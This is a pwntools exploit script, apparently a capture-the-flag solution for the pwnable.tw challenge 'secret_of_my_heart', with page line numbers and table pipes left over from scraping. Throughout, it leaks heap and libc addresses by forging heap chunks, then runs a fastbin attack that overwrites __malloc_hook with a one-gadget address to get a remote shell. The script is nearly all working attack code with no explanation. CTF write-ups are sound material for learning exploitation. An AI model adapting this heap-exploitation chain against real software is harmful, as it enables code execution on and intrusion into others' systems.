1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| from pwn import *
exe = ELF("./secret_of_my_heart_patched") libc = ELF("./libc_64.so.6") ld = ELF("./ld-2.23.so")
context.binary = exe context.log_level = "debug"
def conn(): if args.LOCAL: r = process([exe.path]) else: r = remote("chall.pwnable.tw", 10302)
return r
def add_secret (p, size, name, secret): p.sendafter (b'Your choice :', b'1') p.sendafter (b'Size of heart : ', size) p.sendafter (b'Name of heart :', name) p.sendafter (b'secret of my heart :', secret)
def show_secret (p, id): p.sendafter (b'Your choice :', b'2') p.sendafter (b'Index :', id)
def delete_secret (p, id): p.sendafter (b'Your choice :', b'3') p.sendafter (b'Index :', id)
def Secret (p, id): p.sendafter (b'Your choice :', b'3869')
def main(): p = conn() add_secret (p, b'24', b'A' * 32, b'DD') show_secret (p, b'0') p.recvuntil (b'A' * 32) heap_address = u64 (p.recv (6) + b'\x00' * 2) - 0x10 print ("The address of heap is: ", hex (heap_address))
print ("1 -> 4 --------------------------------------------------------------------------------------") payload = p64 (0) * 2 payload += p64 (0) + p64 (0x21) + p64 (heap_address + 0x110) + p64 (0) payload += p64 (0) + p64 (0x21) + p64 (0) + p64 (heap_address + 0x110)
add_secret (p, b'225', b'dd', payload) add_secret (p, b'24', b'DD', b'2222') add_secret (p, b'256', b'DD', b'\x00' * 0xf0 + p64 (0) + p64 (0x41)) add_secret (p, b'30', b'dd', b'4444')
delete_secret (p, b'2') add_secret (p, b'24', b'DD', p64 (heap_address + 0x60) + p64 (heap_address + 0x40) + p64 (0x110))
delete_secret (p, b'1') delete_secret (p, b'2')
print ("design structure to leak libc ----------------------------------------------------------------")
payload = p64 (heap_address + 0x70) + p64 (heap_address + 0x50) payload += p64 (0) * 2 payload += p64 (0) + p64 (0x21) + p64 (heap_address + 0x20) + p64 (0) payload += p64 (0) + p64 (0x21) + p64 (0) + p64 (heap_address + 0x20)
add_secret (p, b'256', 'dd', payload) add_secret (p, b'24', b'DD', b'A' * 16 + p64 (0x110))
print ("leak libc address --------------------------------------------------------------------------------")
delete_secret (p, b'3') show_secret (p, b'1') p.recvuntil (b'Secret : ') libc.address = u64 (p.recv (6) + b'\x00' * 2) - libc.symbols['main_arena'] - 88 print ("The libc address is: ", hex (libc.address))
print ("Get shell -------------------------------------------------------------------------------------------")
add_secret (p, b'104', b'DD', b'ndd') add_secret (p, b'104', b'ndd', b'123')
delete_secret (p, b'3') delete_secret (p, b'5') delete_secret (p, b'1')
add_secret (p, b'104', b'dd', p64 (libc.symbols['__malloc_hook'] - 0x23)) add_secret (p, b'104', b'dd', b'1111') add_secret (p, b'104', b'ndd', b'2222') add_secret (p, b'104', b'DD', b'\x00' * 0x13 + p64 (libc.address + 0xef6c4))
delete_secret (p, b'5') delete_secret (p, b'1')
p.interactive()
if __name__ == "__main__": main()
|